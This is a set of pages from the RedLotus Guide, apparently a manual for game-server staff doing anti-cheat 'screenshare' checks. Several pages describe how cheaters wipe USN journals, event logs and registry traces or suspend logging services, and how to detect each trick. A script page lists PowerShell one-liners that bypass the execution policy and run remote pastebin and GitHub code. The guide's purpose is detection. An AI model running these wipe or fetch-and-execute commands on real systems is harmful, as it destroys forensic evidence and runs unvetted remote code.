etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/registry-clearing) Last updated 1 year ago --- # Service Thread Suspension | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/service-thread-suspension.md) . * **Description:** A more advanced evasion technique that targets critical system services responsible for logging or monitoring, such as Prefetch (SysMain), PCA (PcaSvc), Event Logging (EventLog), or Diagnostics (DPS). Instead of completely stopping the service (which is easily detectable via `sc query` or service managers), the bypasser **suspends specific** _**threads**_ **within the service's process** (often `svchost.exe`). * **Mechanism:** Requires tools that can interact with process threads, such as Process Hacker / System Informer, or custom scripts/tools using Windows API functions like `OpenThread`, `SuspendThread`, and `ResumeThread`. The bypasser identifies the specific thread(s) associated with the core functionality of the target service (often linked to its main DLL, e.g., `sechost.dll` for SysMain, `pcasvc.dll` for PcaSvc, `wevtsvc.dll` for EventLog, `dps.dll` for DPS) and places them into a suspended state. * **Why Cheaters Use It:** This allows the main service process (`svchost.exe`) to **remain listed as "Running"** in Task Manager and service queries, potentially fooling basic checks. However, the suspended thread(s) prevent the service from performing its actual function (e.g., writing Prefetch files, logging events, recording DPS data). It's a stealthier way to disable logging compared to stopping the service entirely. * **Detection:** Requires direct inspection of the threads within the relevant service processes using a tool like **System Informer** (running as Administrator): 1. Locate the `svchost.exe` (or potentially dedicated process) associated with the target service (e.g., SysMain, PcaSvc, EventLog, DPS). 2. Right-click the process -> Properties -> Threads tab. 3. Examine the list of threads. Look for threads with a state of **"Suspended"**. 4. Pay close attention to the "Start address" column. If suspended threads have start addresses pointing within the main DLL associated with that service's functionality (e.g., `sechost.dll`, `wevtsvc.dll`), it is **highly suspicious** and strongly indicative of deliberate tampering to disable logging. [PreviousAttribute Manipulation (Read-Only)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/attribute-manipulation) [NextCommand Prompt (CMD) Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/command-prompt-obfuscation) Last updated 1 year ago --- # USN Journal Clearing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/usn-journal-clearing.md) . * **Description:** This involves the complete deletion of the NTFS Update Sequence Number (USN) Journal (`$J` stream within `$Extend\$UsnJrnl`) for a specific volume. * **Mechanism:** Typically performed using the built-in `fsutil.exe` command with administrative privileges: `fsutil usn deletejournal /D C:` (replace `C:` with the target drive). This command **completely wipes** the existing journal log, forcing Windows to create a new, empty one upon the next filesystem change. * **Why Cheaters Use It:** To erase the _entire_ recorded history of file creations, deletions, renames, attribute changes, and stream modifications on a volume, effectively blinding analysis techniques that rely heavily on the Journal (like detecting Prefetch clearing, file replacement, timestomping via `BASIC_INFO_CHANGE`, ADS manipulation, etc.). * **Detection:** Clearing the USN Journal is a drastic action that leaves clear, detectable traces: * **Event Logs:** The act of deleting the USN Journal reliably triggers **Event ID 3079** in the **Application** event log. The event details usually specify the volume (drive letter) whose journal was deleted and often mention `fsutil.exe` as the source process. Finding this event is **definitive proof** of intentional Journal clearing. * **Journal Metadata Analysis:** Examining the Journal's metadata files (`$J` and `$MAX` streams within `$Extend\$UsnJrnl`) using tools like **FTK Imager** or **MFTECmd** reveals clearing: * _Modification Times:_ The "Date Modified" timestamps of both the `$J` stream and the `$MAX` stream will be **very recent**, coinciding with the time the `deletejournal` command was run. Comparing these timestamps is crucial; a recent modification to both confirms the clearing event. * _Oldest Entry Timestamp:_ Tools like **JournalTrace** display the timestamp of the oldest record currently in the Journal. If this oldest entry is dated _after_ the user's logon time or the game start time (i.e., very recent), it strongly suggests the Journal was cleared during the current boot/game instance. * _Size:_ A newly created Journal (`$J` stream) will be very small compared to one that has been accumulating logs. [PreviousRegistry Clearing (BAM, RecentDocs, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/registry-clearing) [NextEvent Log Clearing/Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/event-log-clearingmanipulation) Last updated 1 year ago --- # Registry Clearing (BAM, RecentDocs, etc.) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/registry-clearing.md) . * **Description:** This involves deleting specific keys or values within the Windows Registry that store historical activity data. Common targets are hives known to log program execution or file access. * **Mechanism:** * _Manual Deletion (_`_regedit.exe_`_):_ The user manually navigates to specific keys in Registry Editor and deletes them or their values. * _Command-Line (_`_reg.exe_`_):_ Using `reg delete` commands in CMD or scripts to remove targeted keys/values programmatically. * _Cleanup Tools:_ Utilities like CCleaner often include options to clean specific Registry MRU lists or potentially other activity logs. * **Common Targets:** * _BAM (Background Activity Moderator):_ Keys under `HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\{User_SID}\` store executable paths and last execution timestamps. * _RecentDocs:_ Keys under `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` track recently opened files (often linked to `shell:recent`). * _UserAssist:_ Keys under `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` track GUI program launches (ROT-13 encoded data). * _OpenSavePidlMRU:_ Keys under `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU\` track files opened/saved via common dialogs. * _AppCompatFlags (PCA Store):_ Keys like `Store` under `HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\` can be cleared. * **Why Cheaters Use It:** To remove specific traces of program execution (BAM, UserAssist) or recently accessed files (RecentDocs, OpenSave MRU) that might point towards cheat usage or related configuration files. * **Detection:** * **Registry Explorer (Deleted Keys/Values):** This is often the most effective method. Forensic registry viewers like Registry Explorer can frequently identify and **visually highlight keys or values that have been deleted** but whose space within the hive file hasn't been fully overwritten yet. Finding deleted entries marked with specific icons (like the red circled warning for BAM) within these relevant hives, especially if the deletion appears recent relative to the current system boot, is **strong evidence of tampering**. * **Execution Logs:** Look for recent executions of `regedit.exe` or `reg.exe` in Prefetch, BAM, or command history (if available) around the time of the screenshare. This indicates manual Registry interaction that warrants investigation into what was potentially cleared. * **Missing Keys/Values:** While less definitive, observing that normally populated keys (like UserAssist or BAM for a user who clearly uses the system) are completely empty can be suspicious, though it could also result from specific system configurations or profile issues. * **Timestamps:** Registry Explorer displays the "Last Write Time" for keys. A very recent Last Write Time on a parent key (like `UserSettings` for BAM) might indicate recent modifications (including deletions) within it. [PreviousPrefetch Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/prefetch-clearing) [NextUSN Journal Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/usn-journal-clearing) Last updated 1 year ago --- # Main RedLotus Scripts | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples.md) . [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples#approved-powershell-scripts) Approved PowerShell Scripts -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- PowerShell scripts are powerful tools for automating complex searches and collecting data efficiently. To ensure security and standardization, it is mandatory to exclusively use the scripts present in this list, executed via the provided commands. The use of unauthorized or modified scripts is strictly prohibited. **Execution Note:** All provided commands include `Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass`. This allows the script to run for the current terminal session only, without permanently altering the player's system security policies. #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples#category-comprehensive-forensic-collection-and-analysis) Category: Comprehensive Forensic Collection and Analysis **RL Collector (RedLotus Collector)** * **Author:** Red Lotus (based on Eric Zimmerman's tools) * **Purpose:** Performs a comprehensive and automated forensic collection of a wide range of critical artifacts (Prefetch, SRUM, Registry Hives, Event Logs, Activities Cache, ShellBags, etc.), saving them into a structured folder for in-depth analysis. It is the ideal tool to run at the beginning of a complex investigation to preserve evidence. * **Execution Command:** Copy powershell -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Invoke-Expression (Invoke-RestMethod 'https://pastebin.com/raw/Eb6r6Vau')" **Master Timeline Script** * **Author:** Red Lotus Community * **Purpose:** A post-analysis script to be used on the data gathered by RL Collector. It aggregates the numerous `.csv` files produced by various parsers into a single, chronological "master timeline," transforming scattered data into a sequential narrative of events. * **Open the link, copy the content and paste it in powershell:** [https://pastebin.com/raw/u7HAmWe1](https://pastebin.com/raw/u7HAmWe1) #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples#category-file-and-integrity-analysis) Category: File and Integrity Analysis **RedLotus Signatures** * **Author:** bacanoicua / Red Lotus * **Purpose:** Analyzes a list of file paths from a `paths.txt` file and verifies the Authenticode digital signature status of each. Essential for quickly identifying unsigned, tampered (`HashMismatch`), or untrusted executables or DLLs. * **Execution Command:** **RedLotus Prefetch Integrity Analyzer** * **Author:** bacanoicua / Red Lotus * **Purpose:** Scans the Prefetch folder for anomalies and tampering techniques. It checks attributes (e.g., Read-Only), header validity ("MAM"), and detects duplicate hashes, which can indicate manipulations like the "type" or "echo" bypass. * **Execution Command:** **HabibiModAnalyzer** * **Author:** HadronCollision * **Purpose:** Automates the analysis of Minecraft mods. It compares the hashes of `.jar` files against the Modrinth database, performs a scan for common cheat strings, and analyzes the Zone.Identifier to determine the download origin. * **Execution Command:** #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples#category-specific-artifact-analysis) Category: Specific Artifact Analysis **RedLotus BAM Script (BAM Parser)** * **Author:** PureIntent / spokwn * **Purpose:** Extracts and displays entries from the Background Activity Moderator (BAM), showing execution time, file path, and digital signature status. The version by spokwn generates an interactive HTML report. * **Execution Command (PureIntent):** * **Execution Command (spokwn):** **Streams Script** * **Author:** spokwn * **Purpose:** Scans a folder (optionally recursively) to identify files with Alternate Data Streams (ADS), showing details like name, hash, owner, and the content of the Zone.Identifier stream. * **Execution Command:** **ActivitiesCache Parser Script** * **Author:** spokwn * **Purpose:** Automates the download and execution of a parser for the ActivitiesCache.db (Windows Timeline) database, filtering for activities relevant to the current user logon session. * **Execution Command:** **Task Scheduler Parsers (N0LW & Rio)** * **Author:** N0LW, Rio/ObsessiveBf * **Purpose:** A suite of scripts for analyzing the Task Scheduler. `ManualTasks` lists tasks created by the user, `SuspiciousScheduler` flags those executing suspicious commands, and Rio's parser extracts commands and arguments from task XML files. * **ManualTasks Command (N0LW):** * **SuspiciousScheduler Command (N0LW):** * **Task Parser Command (Rio):** #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts/key-categories-and-examples#category-utilities-and-information-gathering) Category: Utilities and Information Gathering **RedLotus HardDiskVolume Converter** * **Author:** bacanoicua / Red Lotus * **Purpose:** Converts paths in the `\Device\HarddiskVolumeX` format (common in DPS logs) into standard, human-readable drive letter paths (e.g., `C:\...`). * **Execution Command:** **Services.ps1 (Lilith-PS)** * **Author:** praiselily * **Purpose:** Gathers and displays a detailed summary of system information, including boot time, uptime, connected drives, status of critical services, registry settings, and event history (clears, shutdowns, time changes). * **Execution Command:** **Alt Account Finder** * **Author:** Red Lotus Community * **Purpose:** Scans game directories and log files for strings (like "user" or "username") to find evidence of alternate accounts. * **Execution Command:** [PreviousSpecific PowerShell Scripts](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/specific-powershell-scripts) [Nextcoming soon](https://itzicehere.gitbook.io/redlotusguide/automatic-screenshare-tools/coming-soon) Last updated 7 months ago Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/bacanoicua/Screenshare/main/RedLotusSignatures.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/bacanoicua/Screenshare/main/RedLotusPrefetchIntegrityAnalyzer.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/HadronCollision/PowershellScripts/refs/heads/main/HabibiModAnalyzer.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/PureIntent/ScreenShare/main/RedLotusBam.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/spokwn/powershells/refs/heads/main/bamparser.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/spokwn/powershells/refs/heads/main/Streams.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/spokwn/powershells/refs/heads/main/activitiescache.ps1) Copy powershell -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Invoke-Expression (Invoke-RestMethod 'https://raw.githubusercontent.com/nolww/project-mohr/refs/heads/main/ManualTasks.ps1')" Copy powershell -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Invoke-Expression (Invoke-RestMethod 'https://raw.githubusercontent.com/nolww/project-mohr/refs/heads/main/SuspiciousScheduler.ps1')" Copy powershell -Command "Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Invoke-Expression (Invoke-RestMethod 'https://raw.githubusercontent.com/ObsessiveBf/Task-Scheduler-Parser/main/script.ps1')" Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/bacanoicua/Screenshare/main/RedLotusHardDiskVolumeConverter.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/praiselily/lilith-ps/refs/heads/main/Services.ps1) Copy powershell Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass && powershell Invoke-Expression (Invoke-RestMethod https://pastebin.com/raw/LBGh2Cyb) --- # Event Log Clearing/Manipulation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/event-log-clearingmanipulation.md) . * **Description:** Refers to attempts to delete event records from the Windows Event Logs (`.evtx` files) to remove evidence of specific actions (like time changes, service manipulation, errors potentially caused by cheats, security events). * **Mechanism:** * _Event Viewer GUI:_ Manually right-clicking on a specific log (e.g., Security, Application, System) and selecting "Clear Log...". * `_wevtutil.exe_` _Command:_ Using the command-line tool `wevtutil cl LogName` (e.g., `wevtutil cl Security`, `wevtutil cl Application`). Requires admin privileges. * _Stopping the EventLog Service:_ Using `sc stop eventlog` or `net stop eventlog` (requires specific permissions) prevents new events from being logged while stopped. * _Advanced Tampering:_ More sophisticated methods might involve directly manipulating `.evtx` files offline (difficult) or using tools like PsExec to disconnect specific log channels (also complex and rare in typical SS scenarios). * **Why Cheaters Use It:** To erase records of actions like system time changes (ID 4616), USN Journal deletion (ID 3079), service stops/starts (ID 7036), application crashes (often ID 1001/1002), or potentially security events triggered by their tools. * **Detection:** Windows has built-in mechanisms to log the clearing action itself: * **Security Log Clearing:** Clearing the Security log generates **Event ID 1102** _within the Security log itself_ before the clear operation completes. Finding this event is **definitive proof** the Security log was intentionally cleared. * **Other Log Clearing:** Clearing other logs (Application, System, Setup, etc.) generates **Event ID 104** in the **System** log, indicating which specific log was cleared. * **Stopped EventLog Service:** Finding the `eventlog` service stopped via `sc query eventlog` is highly suspicious. The System log (Event ID 7036) should also show the service entering the stopped state. * **Gaps in Logs:** Unexplained chronological gaps in event logs can sometimes suggest clearing or manipulation, but require careful analysis to distinguish from normal system behavior or configuration. [PreviousUSN Journal Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/usn-journal-clearing) [NextRecycle Bin Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/recycle-bin-clearing) Last updated 1 year ago --- # Virtual Machines (VMs): | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/virtual-machines.md) . * **Description:** A Virtual Machine (VM) allows a user to run a complete, separate operating system (the "guest" OS) within a window or application on their main operating system (the "host" OS). Software like VMware Workstation/Player, VirtualBox, or Hyper-V enable this. * **Mechanism & Evasion:** The bypass strategy involves running the game (e.g., Minecraft) _inside_ the guest VM while running cheats or helper tools _on the host machine_. When the ScreenSharer connects via AnyDesk/TeamViewer _to the guest VM_, they have **no visibility or access to the host operating system**. Any cheats operating on the host are entirely outside the scope of the screenshare conducted within the VM. * **Why Cheaters Use It:** To completely isolate cheating tools from the environment being inspected, rendering standard screensharing techniques ineffective if the staffer is unaware they are inside a VM. * **Detection:** Detecting whether the screenshare is occurring within a VM is crucial. Several methods exist: * **System Information (**`**msinfo32**`**):** As previously mentioned, check "System Model" or "BIOS Version/Date" fields for terms like "VMware," "VirtualBox," "Hyper-V," or "Virtual Machine." * **Running Processes/Services:** Look for processes or services associated with VM software (e.g., `vmtoolsd.exe`, `VBoxService.exe`). * **Hardware IDs/Drivers:** Device Manager might show virtualized hardware (e.g., VMware SVGA adapter). * **Registry Keys:** Specific keys indicate VM software installations. * **Dedicated VM Detection Tools (e.g., VMAware):** Specialized tools exist to more reliably detect virtualization, even against potential hardening attempts. * **VMAware:** This is a notable cross-platform (Windows, macOS, Linux) C++ library and command-line tool specifically designed for comprehensive virtual machine detection. * _Capabilities:_ It utilizes a large number (115+) of unique detection techniques, targeting various virtualization technologies including hypervisors (VMware, VirtualBox, Hyper-V, QEMU), emulators, containers, and sandboxes. It aims to be effective even against VM hardening techniques designed to hide the virtual environment. * _Usage:_ Can be integrated into other tools as a library or run as a standalone command-line executable. When run, it typically outputs whether a VM is detected, the likely brand/type of VM technology, and a confidence percentage. * _Availability:_ VMAware is open-source and available on GitHub ([https://github.com/kernelwernel/VMAware](https://github.com/kernelwernel/VMAware) ). Pre-compiled binaries might be available in the releases section, or it can be compiled from source. * _Relevance:_ Using a tool like VMAware during a screenshare provides a more robust check for virtualization compared to solely relying on `msinfo32` or process lists, increasing the likelihood of detecting VM-based bypass attempts. * **Server Rules:** Due to the significant potential for evasion, **most competitive servers explicitly prohibit playing or undergoing screenshares within a virtual machine.** Detecting that the user is operating within a VM during the check, often confirmed using tools like `msinfo32` or dedicated detectors like VMAware, is frequently sufficient grounds for action based solely on violating this rule. [PreviousExternal USB Drives (FAT32 vs. NTFS):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/external-usb-drives) [NextCloud Storage (OneDrive, Google Drive, etc.):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/cloud-storage) Last updated 1 year ago --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://itzicehere.gitbook.io/redlotusguide/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses.md). # Introduction This document, authored by ItzIceHere, serves as a remastered, in-depth exploration into the practice commonly known as \*hack checks\* or \*screenshares\*. This procedure, while sometimes viewed contentiously, is a critical component of moderation within dynamic and competitive gaming communities, particularly those centered around platforms like Minecraft and FiveM where client-side modifications are prevalent. Our primary focus throughout this guide is dedicated to elucidating the \*\*procedural, ethical, and fundamentally positive aspects\*\* of employing these checks to rigorously uphold standards of \*\*fair play\*\*. The landscape of online gaming, especially in user-modifiable environments, is constantly challenged by individuals seeking unfair advantages through cheats, hacks, or unauthorized modifications. Server-side anti-cheats, while valuable, often cannot detect the full spectrum of client-side manipulations. Screensharing emerges as a necessary, albeit intensive, tool for server staff to investigate suspicious activity directly on a player's machine, aiming to verify the legitimacy of their gameplay and configuration. This guide endeavors to move beyond simplistic explanations, offering a structured pathway from fundamental concepts and ethical guidelines (as championed by the Red Lotus principles) through detailed artifact analysis, specific game contexts, common evasion tactics (bypasses), and finally, into more advanced forensic methodologies adapted for this unique context. Readers, whether newcomers seeking foundational knowledge or experienced practitioners looking to refine their skills and understanding, are encouraged to approach this material with diligence and an open mind. The world of cheat detection and bypass techniques is ever-evolving; therefore, a commitment to continuous learning, critical thinking, and adaptability is essential. This guide aims to be comprehensive, but the practical application requires judgment, adherence to server-specific rules, and unwavering integrity. \*\*Pro TIP:\*\* \*If English is not your native language, you can automatically translate the web page with an extension or a built it tool in your browser\* ### Socials In this server and channels you can find topics related to ScreenShare | | | | | | --- | --- | --- | --- | | RedLotus Discord | [https://discord.gg/Z8MqyYwE](https://discord.gg/Z8MqyYwE) | [https://discord.gg/Z8MqyYwE](https://discord.gg/Z8MqyYwE) | [/files/G4IP5WeAE3LE7OcAxmX3](https://itzicehere.gitbook.io/files/G4IP5WeAE3LE7OcAxmX3) | | Ice's YouTube | [https://www.youtube.com/@itzicehere](https://www.youtube.com/@itzicehere) | [https://www.youtube.com/@itzicehere](https://www.youtube.com/@itzicehere) | [/files/BRZ3tKpcqQQhmaZkV2Vb](https://itzicehere.gitbook.io/files/BRZ3tKpcqQQhmaZkV2Vb) | \### Our Partners | | | Cover image | | --- | --- | --- | | | [https://discord.com/invite/echoac](https://discord.com/invite/echoac) | [/files/G5F0E44oFfUSZJ5YpwzU](https://itzicehere.gitbook.io/files/G5F0E44oFfUSZJ5YpwzU) | | | [https://discord.com/invite/scanner](https://discord.com/invite/scanner) | [/files/1YWIn316znOF0Rmj6Sfv](https://itzicehere.gitbook.io/files/1YWIn316znOF0Rmj6Sfv) | | | [https://discord.com/invite/scanning](https://discord.com/invite/scanning) | [/files/PAUmDPehT0LTa5iwBMst](https://itzicehere.gitbook.io/files/PAUmDPehT0LTa5iwBMst) | | | [https://discord.com/invite/rankedbedwars](https://discord.com/invite/rankedbedwars) | [/files/sYbjS0sD1jGfj0I4hZSI](https://itzicehere.gitbook.io/files/sYbjS0sD1jGfj0I4hZSI) | | | [https://discord.com/invite/tiertests](https://discord.com/invite/tiertests) | [/files/jiUItWK9UrYuCkLKPksU](https://itzicehere.gitbook.io/files/jiUItWK9UrYuCkLKPksU) | | | [https://discord.com/invite/arbw](https://discord.com/invite/arbw) | [/files/jsSaQMJyw0ETdn9jRdfT](https://itzicehere.gitbook.io/files/jsSaQMJyw0ETdn9jRdfT) | | | [https://discord.com/invite/YC3u2sPu6M](https://discord.com/invite/YC3u2sPu6M) | [/files/TFVWaHCAinKjNQ3vwW2x](https://itzicehere.gitbook.io/files/TFVWaHCAinKjNQ3vwW2x) | | | [https://discord.com/invite/tourney](https://discord.com/invite/tourney) | [/files/DIlklaO6aNSbCVdzza4G](https://itzicehere.gitbook.io/files/DIlklaO6aNSbCVdzza4G) | | | [https://discord.gg/HYFVkwuKET](https://discord.gg/HYFVkwuKET) | [/files/uie6UdSuzapW6wnYO9f6](https://itzicehere.gitbook.io/files/uie6UdSuzapW6wnYO9f6) | | | [https://discord.com/invite/aranked](https://discord.com/invite/aranked) | [/files/98l8SVF5wUl57LqMQPRk](https://itzicehere.gitbook.io/files/98l8SVF5wUl57LqMQPRk) | | | [https://discord.com/invite/mighettorz](https://discord.com/invite/mighettorz) | [/files/0PHakHftbDVS8rKhh40B](https://itzicehere.gitbook.io/files/0PHakHftbDVS8rKhh40B) | | | [https://discord.com/invite/fullsend](https://discord.com/invite/fullsend) | [/files/4Rs1As06KOfwzUOOiXdr](https://itzicehere.gitbook.io/files/4Rs1As06KOfwzUOOiXdr) | | | [https://discord.com/invite/bridgescrims](https://discord.com/invite/bridgescrims) | [/files/eEJvt3AdzepZaa6pt4fd](https://itzicehere.gitbook.io/files/eEJvt3AdzepZaa6pt4fd) | | Mineberry RBW | [https://discord.gg/APwb3vdRqm](https://discord.gg/APwb3vdRqm) | [/files/ijmegcn8IenLao3iwAN8](https://itzicehere.gitbook.io/files/ijmegcn8IenLao3iwAN8) | | | [https://discord.gg/fadedmc](https://discord.gg/fadedmc) | [/files/Nc7PZi4cwikrIapPak3N](https://itzicehere.gitbook.io/files/Nc7PZi4cwikrIapPak3N) | | | [https://discord.gg/zrbw](https://discord.gg/zrbw) | [/files/PcmCCdwdfOyaf9zD4F6Z](https://itzicehere.gitbook.io/files/PcmCCdwdfOyaf9zD4F6Z) | | | [https://discord.com/invite/housing](https://discord.com/invite/housing) | [/files/nVwupj7CIStuLy5DvtBV](https://itzicehere.gitbook.io/files/nVwupj7CIStuLy5DvtBV) | | | [https://discord.gg/HfFkdRgrts](https://discord.gg/HfFkdRgrts) | [/files/bqdnEZMKmwg68Bqa8pZq](https://itzicehere.gitbook.io/files/bqdnEZMKmwg68Bqa8pZq) | | | [https://discord.com/invite/ht3](https://discord.com/invite/ht3) | [/files/cL1KmP0d0sIDTL8i5KLy](https://itzicehere.gitbook.io/files/cL1KmP0d0sIDTL8i5KLy) | | | [https://discord.com/invite/miniwalls](https://discord.com/invite/miniwalls) | [/files/tsgPGoiGHh0dLZMyrqBq](https://itzicehere.gitbook.io/files/tsgPGoiGHh0dLZMyrqBq) | | | [https://discord.gg/tiers](https://discord.gg/tiers) | [/files/7mPJh2yzyUimkhhXKo6h](https://itzicehere.gitbook.io/files/7mPJh2yzyUimkhhXKo6h) | | | [https://discord.gg/diapot](https://discord.gg/diapot) | [/files/bSMb1lYS4vBaGmHUJSh6](https://itzicehere.gitbook.io/files/bSMb1lYS4vBaGmHUJSh6) | | | [https://discord.gg/uhctiers](https://discord.gg/uhctiers) | [/files/DH89knZOTuVOJy4lGYAP](https://itzicehere.gitbook.io/files/DH89knZOTuVOJy4lGYAP) | | | [https://discord.gg/neth](https://discord.gg/neth) | [/files/pm2QmdAvPZ8RUYu9QVLZ](https://itzicehere.gitbook.io/files/pm2QmdAvPZ8RUYu9QVLZ) | | | [https://discord.gg/axe](https://discord.gg/axe) | [/files/YljSH0SAxT5Z86M1m71n](https://itzicehere.gitbook.io/files/YljSH0SAxT5Z86M1m71n) | | | [https://discord.gg/smppvp](https://discord.gg/smppvp) | [/files/tj9CrXmvXYQ9RYiPbnJa](https://itzicehere.gitbook.io/files/tj9CrXmvXYQ9RYiPbnJa) | | | [https://discord.gg/rQrPJYt8vN](https://discord.gg/rQrPJYt8vN) | [/files/TfC8jJ0g5VWjmhGTyu1Z](https://itzicehere.gitbook.io/files/TfC8jJ0g5VWjmhGTyu1Z) | | | [https://discord.gg/crystaltl](https://discord.gg/crystaltl) | [/files/pYggCEiNnMScAbIkvnJn](https://itzicehere.gitbook.io/files/pYggCEiNnMScAbIkvnJn) | | | [https://discord.com/invite/eu3JEKfX](https://discord.com/invite/eu3JEKfX) | [/files/KJozXvgyZTQUHBd6oCrb](https://itzicehere.gitbook.io/files/KJozXvgyZTQUHBd6oCrb) | | | [https://discord.gg/pvpguide](https://discord.gg/pvpguide) | [/files/KeYfM5E1liAqti4iiF8F](https://itzicehere.gitbook.io/files/KeYfM5E1liAqti4iiF8F) | | | [https://discord.gg/traininghub](https://discord.gg/traininghub) | [/files/CBvoIlX27TamxpXCQFJl](https://itzicehere.gitbook.io/files/CBvoIlX27TamxpXCQFJl) | | | [https://discord.gg/pvptiers](https://discord.gg/pvptiers) | [/files/vfQ5kTzpFhm9SqqAELk8](https://itzicehere.gitbook.io/files/vfQ5kTzpFhm9SqqAELk8) | \--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://itzicehere.gitbook.io/redlotusguide/screensharing-introducttion-and-principles/first-section-an-introduction-to-hack-checks-and-bypasses.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional 